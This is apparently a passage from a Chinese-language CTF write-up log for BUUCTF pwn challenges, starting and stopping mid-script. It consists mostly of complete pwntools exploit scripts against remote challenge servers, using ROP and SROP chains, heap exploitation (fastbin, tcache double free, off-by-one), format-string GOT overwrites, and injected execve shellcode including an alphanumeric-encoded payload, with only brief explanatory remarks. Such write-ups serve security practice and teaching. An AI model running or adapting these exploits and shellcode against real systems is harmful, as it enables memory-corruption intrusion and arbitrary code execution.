    payload += p64(mov_rax_0f) + p64(syscall_ret) 
    #第二个sigframe,用于调用execve来getshell
    sigframe_2 = SigreturnFrame()
    sigframe_2.rax = constants.SYS_execve
    sigframe_2.rdi = bin_sh
    sigframe_2.rsi = 0
    sigframe_2.rdx = 0
    sigframe_2.rsp = offset + 0x10 + len(sigframe_2)
    sigframe_2.rip = syscall_ret
    payload += str(sigframe_2)
    payload += p64(vuln)
    conn.send(payload)
    pause()
    conn.send("/bin/sh\x00")        #写入data段的输入
    conn.interactive()

jarvisoj_level5

就是万能gadget,没有什么难度

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add_note(size,content):
    conn.recvuntil("Your choice :")
    conn.sendline("1")
    conn.recvuntil("Note size :")
    conn.sendline(str(size))
    conn.recvuntil("Content :")
    conn.sendline(content)

def delete_note(index):
    conn.recvuntil("Your choice :")
    conn.sendline("2")
    conn.recvuntil("Index :")
    conn.sendline(str(index))

def print_note(index):
    conn.recvuntil("Your choice :")
    conn.sendline("3")
    conn.recvuntil("Index :")
    conn.sendline(str(index))


if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29479
    conn = remote(HOST ,PORT)
    pause()
    main = 0x40061A
    rop1 = 0x04006AA
    rop2 = 0x0400690
    write_got = 0x600A58
    
    conn.recvuntil("Input:\n")
    payload = "A"*0x88 
    payload += p64(rop1) + p64(0) + p64(1) + p64(write_got) + p64(0x8) + p64(write_got) + p64(1) + p64(rop2)
    payload += p64(0)*7
    payload += p64(main)
    conn.sendline(payload)

    write_leak = u64(conn.recv(8))
    libc = LibcSearcher("write",write_leak)
    libc_base = write_leak - libc.dump("write")
    print "THe write_leak is",hex(write_leak)
    print "THe libc base is",hex(libc_base)
    one_gadget = libc_base + 0x4526a

    conn.recvuntil("Input:\n")
    payload = "A"*0x88 
    payload += p64(one_gadget) + p64(0*10)
    conn.sendline(payload)
    pause()
    conn.interactive()

hitcontraining_bamboobox

就是正常的堆溢出,利用的点在利用bss段的stdin,然后修改全局变量实现任意地址读写,不是很复杂

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def show_item():
    conn.recvuntil("Your choice:")
    conn.sendline("1")

def add_item(size,content):
    conn.recvuntil("Your choice:")
    conn.sendline("2")
    conn.recvuntil("Please enter the length of item name:")
    conn.sendline(str(size))
    conn.recvuntil("Please enter the name of item:")
    conn.sendline(content)

def change_item(index,size,content):
    conn.recvuntil("Your choice:")
    conn.sendline("3")
    conn.recvuntil("Please enter the index of item:")
    conn.sendline(str(index))
    conn.recvuntil("Please enter the length of item name:")
    conn.sendline(str(size))
    conn.recvuntil("Please enter the new name of the item:")
    conn.sendline(content)

def remove_item(index):
    conn.recvuntil("Your choice:")
    conn.sendline("4")
    conn.recvuntil("Please enter the index of item:")
    conn.sendline(str(index))


if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28512
    conn = remote(HOST ,PORT)
    pause()
    
    stdin = 0x6020b0
    free_got = 0x602018
    '''步骤一:先使用fastbin attack,利用的点是stdin位置'''
    add_item(0x60,"") #0
    add_item(0x60,"") #1
    add_item(0x60,"") #2
    add_item(0x60,"") #3
    remove_item(2)
    payload = p64(0)*13+p64(0x71)+p64(stdin-3)
    change_item(1,len(payload),payload)
    add_item(0x60,"") #2
    add_item(0x60,"") #4
    
    '''步骤二:泄露libc基地址'''
    payload = "\x00"*3 + p64(0x60) + p64(free_got)
    change_item(4,len(payload)+1,payload)
    show_item()
    conn.recvuntil("0 : ")
    free_leak = conn.recv(6)
    free_leak = u64(free_leak.ljust(8,"\x00"))
    libc = LibcSearcher("free",free_leak)
    libc_base = free_leak - libc.dump("free")
    realloc = libc_base + libc.dump("realloc")
    __malloc_hook = libc_base + libc.dump("__malloc_hook")
    __realloc_hook = libc_base + libc.dump("__realloc_hook")
    onegadget = libc_base + 0x4526a
    print "The free leak is",hex(free_leak)
    print "The libc base is",hex(libc_base)
    print "The onegadget is",hex(onegadget)

    '''步骤三:修改realloc hook和malloc hook进行onegadget'''
    show_item()
    payload = "\x00"*3 + p64(0x60) + p64(__realloc_hook)
    change_item(4,len(payload)+1,payload)
    payload = p64(onegadget) + p64(realloc)
    change_item(0,len(payload)+1,payload)
    conn.recvuntil("Your choice:")
    conn.sendline("2")
    conn.recvuntil("Please enter the length of item name:")
    conn.sendline("32")

    pause()
    conn.interactive()

npuctf_2020_easyheap

这个题目其实不是很难,虽然是libc2.27,但是和tcache的机制没有什么关系,本题利用的是overlapping实现堆溢出,然后利用修改堆地址实现任意地址读写,其中需要在全局变量heaparray部分构造一个fake_heap,具体方法是

  • 第一步,构造4个大小为0x18的堆,释放掉index为1的,
  • 第二步,通过off-by-one实现overlapping,这个时候index为1的块,让它的堆指向全局变量heaparray
  • 第三步,在全局变量heaparray构造一个假的堆,用于任意地址读写,构造方法通过edit(1),来实现p64(heaparray_4+0x8) + p64(0x200) + p64(__free_hook)
  • 第四步,通过对fake_chunk(index为4)的读写实现操作

然后主义一个小tips,这里的__malloc_hook + __realloc_hook都不好使,这里用的是__free_hook

上代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create_heap(size,content):
    conn.recvuntil("Your choice :")
    conn.sendline("1")
    conn.recvuntil("Size of Heap(0x10 or 0x20 only) :")
    conn.sendline(str(size))
    conn.recvuntil("Content:")
    conn.send(content)

def edit_heap(index,content):
    conn.recvuntil("Your choice :")
    conn.sendline("2")
    conn.recvuntil("Index :")
    conn.sendline(str(index))
    conn.recvuntil("Content:")
    conn.send(content)

def show_heap(index):
    conn.recvuntil("Your choice :")
    conn.sendline("3")
    conn.recvuntil("Index :")
    conn.sendline(str(index))

def delete_heap(index):
    conn.recvuntil("Your choice :")
    conn.sendline("4")
    conn.recvuntil("Index :")
    conn.sendline(str(index))


if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28401
    conn = remote(HOST ,PORT)
    pause()
    
    stdin = 0x602090
    heaparray_4 = 0x6020c0
    free_got = 0x602018

    '''第一步,通过off-by-one实现overlapping,实现可以篡改index为1部分的堆指向'''
    create_heap(0x18,"0") #0
    create_heap(0x18,"1") #1
    create_heap(0x18,"2") #2
    create_heap(0x18,"3") #3
    payload = "\x00"*0x18 + "\x41" 
    edit_heap(0,payload)
    delete_heap(1)
    create_heap(0x38,"new1") #1    
    '''这一步修改index为1的部分的堆指向全局变量heaparray中index为4的位置'''
    payload = "\x00"*0x18 + p64(0x21) + p64(0x100) + p64(heaparray_4)
    edit_heap(1,payload)
    '''这一步在heaparray中构造一个假的堆,指向free_got用于泄露libc地址'''
    payload = p64(heaparray_4+0x8) + p64(0x200) + p64(free_got)
    edit_heap(1,payload)

    '''第二步,泄露libc地址,计算onegadget地址 '''
    show_heap(4)
    conn.recvuntil("Content : ")
    free_leak = conn.recv(6)
    free_leak = u64(free_leak.ljust(8,"\x00"))
    libc = LibcSearcher("free",free_leak)
    libc_base = free_leak - libc.dump("free")
    realloc = libc_base + libc.dump("realloc")
    __malloc_hook = libc_base + libc.dump("__malloc_hook")
    __realloc_hook = libc_base + libc.dump("__realloc_hook")
    __free_hook = libc_base + libc.dump("__free_hook")
    onegadget = libc_base + 0x4f322
    print "The free leak is",hex(free_leak)
    print "The libc base is",hex(libc_base)
    print "The onegadget is",hex(onegadget)
    
    '''第三步,通过修改fake堆中的指向,指向free_hook触发onegadget'''
    payload = p64(heaparray_4+0x8) + p64(0x200) + p64(__free_hook)
    edit_heap(1,payload)
    payload = p64(onegadget) + p64(onegadget)
    edit_heap(4,payload)
    
    delete_heap(0)      #触发漏洞
    pause()
    conn.interactive()

cmcc_pwnme2

就是栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25920
    conn = remote(HOST ,PORT)
    pause()
    gets_plt = 0x08048440
    pop_ebx = 0x08048409
    exec_string = 0x080485CB
    string = 0x0804A060
    conn.recvuntil("Please input:")
    payload = "A" * 0x70 + p32(gets_plt) + p32(pop_ebx) + p32(string) + p32(exec_string)
    conn.sendline(payload)
    pause()
    conn.sendline("/flag")

    pause()
    conn.interactive()

picoctf_2018_got_shell

水…
BUUCTF【pwn】解题记录(1-3页已完结)_第32张图片

wdb_2018_2nd_easyfmt

这个题目很简单,就是简单的格式化字符串,但是解题的思路稍微绕了个弯,就是我们在篡改got表地址覆盖为onegadget时候,受到了一些限制条件,在篡改的时候只能用两个%c%xx$hn来修改got表,长度必然大于26,就很难满足libc的限制条件(可以自己测一下)

直接篡改putchar是不行的,正确的方法是篡改printf函数,然后用read的时候写入大量\x00来满足onegadget条件

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27619
    conn = remote(HOST ,PORT)
    pause()

    '''第一步,格式化字符串泄露libc地址'''

    printf_got = 0x804A014
    conn.recvuntil("Do you know repeater?")
    conn.sendline("%35$p")
    conn.recv()
    __libc_start_main_leak = conn.recvuntil("\n",drop=True)
    __libc_start_main_leak = int(__libc_start_main_leak,16)
 
    print "The __libc_start_main_leak is",hex(__libc_start_main_leak)
    __libc_start_main = __libc_start_main_leak -247
    libc = LibcSearcher("__libc_start_main",__libc_start_main)
    libc_base = __libc_start_main - libc.dump("__libc_start_main")
    one_gadget = libc_base + 0x3a819
    print "The libc base is",hex(libc_base)
    print "one_gadget is",hex(one_gadget)

    '''第二步,格式化字符串任意地址写'''
    num1 = one_gadget / 0x10000
    num2 = ((0x10000 - num1) + (one_gadget % 0x10000)) % 0x10000
    payload =  "%"+str(num1)+"c%26$hn" + "%"+str(num2)+"c%27$hn"
    print payload
    payload = payload.ljust(0x20,"\x00") + p32(0)*12
    payload += p32(printf_got+2) + p32(printf_got) 
    conn.sendline(payload)
    print payload,len(payload)

    payload = p32(0)*20   # 写入大量的\x00满足onegadget条件
    conn.sendline(payload)

    pause()
    conn.interactive()

picoctf_2018_can_you_gets_me

都是套路

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create_heap(size,content):
	conn.recvuntil("Your choice :")
	conn.sendline("1")
	conn.recvuntil("Size of Heap(0x10 or 0x20 only) :")
	conn.sendline(str(size))
	conn.recvuntil("Content:")
	conn.send(content)

def edit_heap(index,content):
    conn.recvuntil("Your choice :")
    conn.sendline("2")
    conn.recvuntil("Index :")
    conn.sendline(str(index))
    conn.recvuntil("Content:")
    conn.send(content)

def show_heap(index):
    conn.recvuntil("Your choice :")
    conn.sendline("3")
    conn.recvuntil("Index :")
    conn.sendline(str(index))

def delete_heap(index):
    conn.recvuntil("Your choice :")
    conn.sendline("4")
    conn.recvuntil("Index :")
    conn.sendline(str(index))


if __name__ == '__main__':
	HOST = 'node4.buuoj.cn'
	PORT = 27217
	conn = remote(HOST ,PORT)
	pause()

	file = ELF("./PicoCTF_2018_can-you-gets-me")

	main_addr = 0x080488A3
	mprotect = file.symbols['mprotect']
	bss = 0x80EB000						#注意mprotect必须是整块
	read = file.symbols['read']
	execute_size = 0x100

	'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
	payload = "A"*0x1c + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
	conn.sendline(payload)
	pause()
	'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
	payload = "A"*0x1c + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
	conn.sendline(payload)
	pause()
	'''步骤三:bss段写入shellcode'''
	shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
	conn.sendline(shellcode)

	conn.interactive()
	pause()
	conn.interactive()

actf_2019_babystack

常规题目,利用leave转移栈空间

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29100
    conn = remote(HOST ,PORT)
    pause()
    main = 0x400800
    leave_ret = 0x400A18
    pop_rdi_ret = 0x400ad3
    pop_rsi_r15_ret = 0x400ad1
    read_got = 0x601048
    puts_plt = 0x0400730
    puts_got = 0x601020
    ROP1 = 0x0400ACA
    ROP2 = 0x0400AB0

    '''第一步,利用栈溢出调用leave_ret转移栈空间,注意在第一次输入提前布置好内容'''
    conn.recvuntil("How many bytes of your message?")
    conn.sendline(str(0xe0))
    conn.recvuntil("Your message will be saved at ")
    stack_leak = conn.recvuntil("\n",drop=True)
    stack_leak = int(stack_leak,16)
    print "The stack leak is",hex(stack_leak)
    payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)  #泄露libc地址
    payload += p64(ROP1) + p64(0) + p64(1) + p64(read_got) + p64(0x100) + p64(stack_leak + 0x100) + p64(0)
    payload += p64(ROP2) + p64(0)*2 + p64(stack_leak + 0x100 - 0x8) + p64(0)*4    # 使用万能gadget调用read函数,写入onegadget地址
    payload += p64(leave_ret)       #再次转移栈空间至onegadget地址
    payload = payload.ljust(0xd0,"\x00")
    payload += p64(stack_leak - 0x8) + p64(leave_ret)
    conn.send(payload)
    conn.recvuntil("Byebye~\n")
    puts_leak = conn.recv(6)
    puts_leak = u64(puts_leak.ljust(8,"\x00"))
    print "The read got leak is",hex(puts_leak)
    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    print "The libc base is",hex(libc_base)
    onegadget = libc_base + 0x4f302

    '''第二步,计算并算好onegadget地址写入'''
    pause()
    content = p64(onegadget) + p64(0)*20
    conn.send(content)
    pause()
    #conn.sendline(str(0xe0))
    conn.interactive()

mrctf2020_easy_equation

水…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	HOST = 'node4.buuoj.cn'
	PORT = 28533
	conn = remote(HOST ,PORT)
	pause()

	payload = "A"*0x9 + p64(0x4006D0)
	conn.sendline(payload)
	conn.interactive()

ciscn_2019_final_3(tcache dup + tcache poisioning)

详细题解见tcache attack学习笔记

mrctf2020_shellcode_revenge

虽然程序不能反汇编,但是很容易能够看出来,程序对输入有过滤限制,只能识别数字和大小写字符。这就是一个典型的alphnumberic shellcode的问题了,因为限制条件不是很严格,所以可以直接通过alpha3工具来解决

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')


if __name__ == '__main__':
	shellcode = asm(shellcraft.sh())
	f = open("shellocde.txt","w")
	f.write(shellcode)
	f.close()

	print shellcode

生成硬编码的shellcode以后执行

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode.txt" > output.txt

执行代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	HOST = 'node4.buuoj.cn'
	PORT = 25249
	conn = remote(HOST ,PORT)
	pause()

	conn.recvuntil("Show me your magic!")
	payload = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
	conn.send(payload)

	pause()
	conn.interactive()

picoctf_2018_leak_me

其实就是填满了前一个空间泄露下一个变量内容,但是愣是没反应过来…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	HOST = 'node4.buuoj.cn'
	PORT = 25339
	conn = remote(HOST ,PORT)
	pause()

	conn.recvuntil("What is your name?\n")
	conn.send("A"*0xff)
	conn.recvuntil(",")
	password_leak = conn.recvuntil("\n",drop=True)
	conn.sendline(password_leak)
	conn.interactive()

suctf_2018_basic pwn

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	HOST = 'node4.buuoj.cn'
	PORT = 27587
	conn = remote(HOST ,PORT)
	payload = "A"*0x118 + p64(0x00401157)
	conn.sendline(payload)

	conn.interactive()

hitcontraining_unlink

感觉是不是放错了,和hitcontraining_bamboobox解题的代码一摸一样。按照它的题目应该是unlink攻击?但是free之后置零了,怎么绕过unlink呢?

x_ctf_b0verfl0w

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28953
    conn = remote(HOST ,PORT)
    pause()
    jmp_esp = 0x08048504
    sub_esp = 0x08048500

    shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
    print len(shellcode)
    conn.recvuntil("What's your name?")
    payload = "A"*4+p32(jmp_esp) + shellcode 
    payload = payload.ljust(0x24,"\x00")
    payload += p32(sub_esp)
    conn.sendline(payload)
    pause()
    conn.interactive()

axb_2019_fmt64

就是普通的格式化字符串漏洞

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27143
    conn = remote(HOST ,PORT)
    pause()

    memset_got = 0x601038
    '''第一步:泄露libc地址'''
    conn.recvuntil("Please tell me:")
    payload = "%83$p"
    conn.sendline(payload)
    conn.recvuntil("Repeater:")

    libc_leak = conn.recvuntil("\n",drop=True)
    libc_leak = int(libc_leak,16)
    print "The libc leak is",hex(libc_leak)
    libc = LibcSearcher("__libc_start_main",libc_leak-240)
    libc_base = libc_leak - 240 - libc.dump("__libc_start_main")
    print "The libc base is",hex(libc_base)
    one_gadget = libc_base + 0xf1147
    print "The one_gadget is",hex(one_gadget)

    '''第二步:利用fmt修改memset的got表内容'''
    target = one_gadget % 0x100000000
    num1 = (target/0x10000) - 9
    num2 = (0x10000 - num1) + (target % 0x10000) - 9
    
    payload = "%"+str(num1)+"c%15$hn"
    payload += "%"+str(num2)+"c%16$hn"
    #payload = "%15$p"
    payload = payload.ljust(0x38,"\x00")
    payload += (p64(memset_got+2) + p64(memset_got))
    conn.recvuntil("Please tell me:")
    conn.sendline(payload)

    pause()
    conn.interactive()

inndy_echo

还是fmt,干啥啥不行水题第一名…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29330
    conn = remote(HOST ,PORT)
    pause()

    printf_got = 0x804A010

    payload = "%79$p" 
    conn.sendline(payload)
    libc_leak = conn.recvuntil("\n",drop=True)
    libc_leak = int(libc_leak,16)
    print "The libc leak is",hex(libc_leak)
    libc = LibcSearcher("__libc_start_main",libc_leak-247)
    libc_base = libc_leak - 247 - libc.dump("__libc_start_main")
    print "The libc base is",hex(libc_base)
        one_gadget = libc_base + 0x3a819
    print "The one_gadget is",hex(one_gadget)
    
    target = one_gadget 
    num1 = (target/0x10000) 
    num2 = (0x10000 - num1) + (target % 0x10000) 
    
    payload = "%"+str(num1)+"c%21$hn"
    payload += "%"+str(num2)+"c%22$hn"
    #payload = "%15$p"
    payload = payload.ljust(0x38,"\x00")
    payload += (p32(printf_got+2) + p32(printf_got))
    conn.sendline(payload)
    conn.sendline("\x00"*0x80)

    conn.interactive()

ciscn_2019_es_1

这个题目真的是让我大脑一晕,还是没有转过弯来,首先单纯看题目,可以知道通过构造unsorted bin结合show函数可以泄露libc地址,然后就疯狂找溢出点,死活找不到,最后意识到一个问题。BUUCTF中的libc2.27是2.27-3ubuntu1_amd64,这个版本的tcache是存在double free漏洞的…当时在ciscn_2019_final_3的时候就专门记了一下,转头就忘记了…
但是知道以后还是很简单的,题目是好的题目!

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add(name_size,name,call):
    conn.recvuntil("choice:")
    conn.sendline("1")
    conn.recvuntil("Please input the size of compary's name")
    conn.sendline(str(name_size))
    conn.recvuntil("please input name:")
    conn.send(name)
    conn.recvuntil("please input compary call:")
    conn.sendline(call)

def show(index):
    conn.recvuntil("choice:")
    conn.sendline("2")
    conn.recvuntil("Please input the index:")
    conn.sendline(str(index))

def call_func(index):
    conn.recvuntil("choice:")
    conn.sendline("3")
    conn.recvuntil("Please input the index:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25280
    conn = remote(HOST ,PORT)
    pause()

    '''第一步:通过构造unsorted bin绕过tcache,并且配合show函数泄露libc地址'''
    name = "Assassin"
    call = "123"

    add(0x410,name,call)    #0
    add(0x18,name,call)     #1
    add(0x18,"/bin/sh\x00",call)        #2
    call_func(0)
    show(0)
    
    conn.recvuntil("name:\n")
    main_arena_leak = conn.recvuntil("\n",drop=True)
    main_arena_leak = u64(main_arena_leak.ljust(8,"\x00"))

    print "The leak is",hex(main_arena_leak)
    libc = LibcSearcher("__malloc_hook",main_arena_leak-96-0x10)
    libc_base = main_arena_leak - 96 - 0x10 - libc.dump("__malloc_hook")
    print "The libc_base is ",hex(libc_base)

    __free_hook = libc_base + libc.dump("__free_hook")
    system = libc_base + libc.dump("system")

    '''第二步:通过double free漏洞,利用tcache检查较弱的特点篡改__free_hook为system函数'''
    call_func(1)
    call_func(1)
    add(0x18,p64(__free_hook),call)    #3
    add(0x18,p64(system),call)      #4

    call_func(2)
    #pause()
    conn.interactive()

wustctf2020_name_your_cat

简单的数组越界写,估计这辈子都不可能在比赛中看到这种题了…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def name_cat(idx,name):
    conn.recvuntil("Name for which?")
    conn.sendline(str(idx))
    conn.recvuntil("Give your name plz:")
    conn.sendline(name)

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25515
    conn = remote(HOST ,PORT)
    pause()
    shell = 0x80485CB
    [name_cat(7,p32(shell)) for x in range(5)]

    conn.interactive()

axb_2019_brop64

没什么好讲的,就是普通的栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25108
    conn = remote(HOST ,PORT)
    pause()

    main = 0x4007D6
    puts_plt = 0x400640
    puts_got = 0x601018
    pop_rdi_ret = 0x400963

    conn.recvuntil("Please tell me:")
    payload = "If there is a chance,I won't make any mistake!\n"
    payload = payload.ljust(0xd8,"\x00")
    payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
    conn.sendline(payload)
    conn.recvuntil("Wish you happy everyday!\n")
    leak = conn.recvuntil("\n",drop=True)
    leak = u64(leak.ljust(8,"\x00"))
    print "The leak is ",hex(leak)
    libc = LibcSearcher("puts",leak)
    libc_base = leak - libc.dump("puts")
    onegadget = libc_base + 0x4526a

    conn.recvuntil("Please tell me:")
    payload = "If there is a chance,I won't make any mistake!\n"
    payload = payload.ljust(0xd8,"\x00")
    payload += p64(onegadget) + p64(0)*20
    conn.sendline(payload)

    #pause()
    conn.interactive()

[极客大挑战 2019]Not Bad

说实话,我没有想到被这个题目卡了一天,其实这个题目就是非常经典的jmp rsp的问题。我们需要关注到题目本身隐藏的条件
BUUCTF【pwn】解题记录(1-3页已完结)_第33张图片

我卡住的问题,就是再栈溢出的时候一直在想怎么通过构造指令转移栈空间,再区想办法写入shellcode,而没有想到在溢出的部分直接用jmp esp,就可以直接运行指令了…

还是思维太过于死板,中间还考虑了很复杂的写入方法,实属不应该!

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27656
    conn = remote(HOST ,PORT)
    pause()

    mmap_area = 0x123800
    read_use = 0x400A28
    jmp_esp = 0x400A01
    bss = 0x601200
    
    shellcode = ""
    shellcode += asm(shellcraft.open("./flag"))
    shellcode += asm(shellcraft.read('rax',mmap_area,0x100))
    shellcode += asm(shellcraft.write(1,mmap_area,0x100))

    conn.recvuntil("Easy shellcode, have fun!")
    payload = asm(shellcraft.read(0,mmap_area,0x100))       #在未溢出部分写入read函数
    payload += asm('mov rax,0x123800')
    payload += asm('call rax')                              #通过call rax转移至写入的位置,注意不能直接用jmp rax

    payload = payload.ljust(0x28,"\x00")
    payload += p64(jmp_esp)
    payload += asm('sub rsp,0x30')             #直接在jmp rsp后,写入汇编指令控制程序流
    payload += asm('jmp rsp')
    conn.sendline(payload)

    pause()
    conn.sendline(shellcode)

    #pause()
    conn.interactive()

cmcc_pwnme1

很简单的栈溢出,因为是32位的可以为所欲为,在bss写入/bin/sh\x00后调用system就行了,libc通过puts泄露got表就行了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add(name_size,name,call):
    conn.recvuntil("choice:")
    conn.sendline("1")
    conn.recvuntil("Please input the size of compary's name")
    conn.sendline(str(name_size))
    conn.recvuntil("please input name:")
    conn.send(name)
    conn.recvuntil("please input compary call:")
    conn.sendline(call)


def show(index):
    conn.recvuntil("choice:")
    conn.sendline("2")
    conn.recvuntil("Please input the index:")
    conn.sendline(str(index))

def call_func(index):
    conn.recvuntil("choice:")
    conn.sendline("3")
    conn.recvuntil("Please input the index:")
    conn.sendline(str(index))

def name_cat(idx,name):
    conn.recvuntil("Name for which?")
    conn.sendline(str(idx))
    conn.recvuntil("Give your name plz:")
    conn.sendline(name)


if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28962
    conn = remote(HOST ,PORT)
    pause()

    puts_plt = 0x08048548
    puts_got = 0x804A028
    main = 0x80486F4
    bss = 0x804A180
    pop_ebp_ret = 0x080485f3
    pop_ebx_ebp_Ret = 0x080485f2
    scanf_plt = 0x08048538

    conn.recvuntil(">> 6. Exit")
    conn.sendline("5")
    conn.recvuntil("Please input the name of fruit:")
    payload = "A"*0xa8 + p32(puts_plt) + p32(main) + p32(puts_got)
    conn.sendline(payload)

    conn.recvuntil("...\n")
    leak = conn.recv(4)
    leak = u32(leak)
    print "The leak is",hex(leak)

    libc = LibcSearcher("puts",leak)
    libc_base = leak - libc.dump("puts")
    one_gadget = libc_base + 0x3a812
    system = libc_base + libc.dump("system")
    gets = libc_base + libc.dump("gets")

    conn.recvuntil(">> 6. Exit")
    conn.sendline("5")
    conn.recvuntil("Please input the name of fruit:")
    payload = "A"*0xa8 + p32(scanf_plt) + p32(pop_ebx_ebp_Ret) + p32(0x8048910) + p32(bss)
    payload += p32(system) + p32(main) + p32(bss)
    conn.sendline(payload)
    pause()
    conn.sendline("/bin/sh\x00")
    pause()
    conn.interactive()

wdb2018_guess(经典得SSP栈溢出)

这个题是非常好的,属于是SSP攻击,利用canary本身得___stack_chk_fail函数,打印__env[0]内容,这个是执行程序得第一个参数,一般情况情况是文件名,我们只要再栈空间上把这个也覆盖了,就可以泄露内存(很明显flag再内存中,并且位置再溢出输入点之上,不会被覆盖)

再说说这个题好久好在用了三次fork,保留了相同得栈空间,而这三次泄露就可以很好地利用了

  • 第一步,泄露got表地址获取libc地址
  • 第二步,根据libc中泄露__environ变量,从而计算栈地址
  • 第三步,计算flag存放位置,然后进行泄露

目前实验得SSP攻击再libc2.23成功了,但是再libc2.27失败了,如果大佬知道为啥麻烦指点一下啊~

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25651
    conn = remote(HOST ,PORT)
    pause()
    
    puts_got = 0x602020

    conn.recvuntil("Please type your guessing flag")
    payload = p64(0x4141414141414141)*36
    payload = p64(0x4141414141414141)*37 + p64(puts_got)
    conn.sendline(payload)
    conn.recvuntil("*** stack smashing detected ***: ")
    leak = conn.recv(6)
    leak = u64(leak.ljust(8,"\x00"))
    print "The leak is ",hex(leak)

    
    libc = LibcSearcher("puts",leak)
    libc_base = leak - libc.dump("puts")
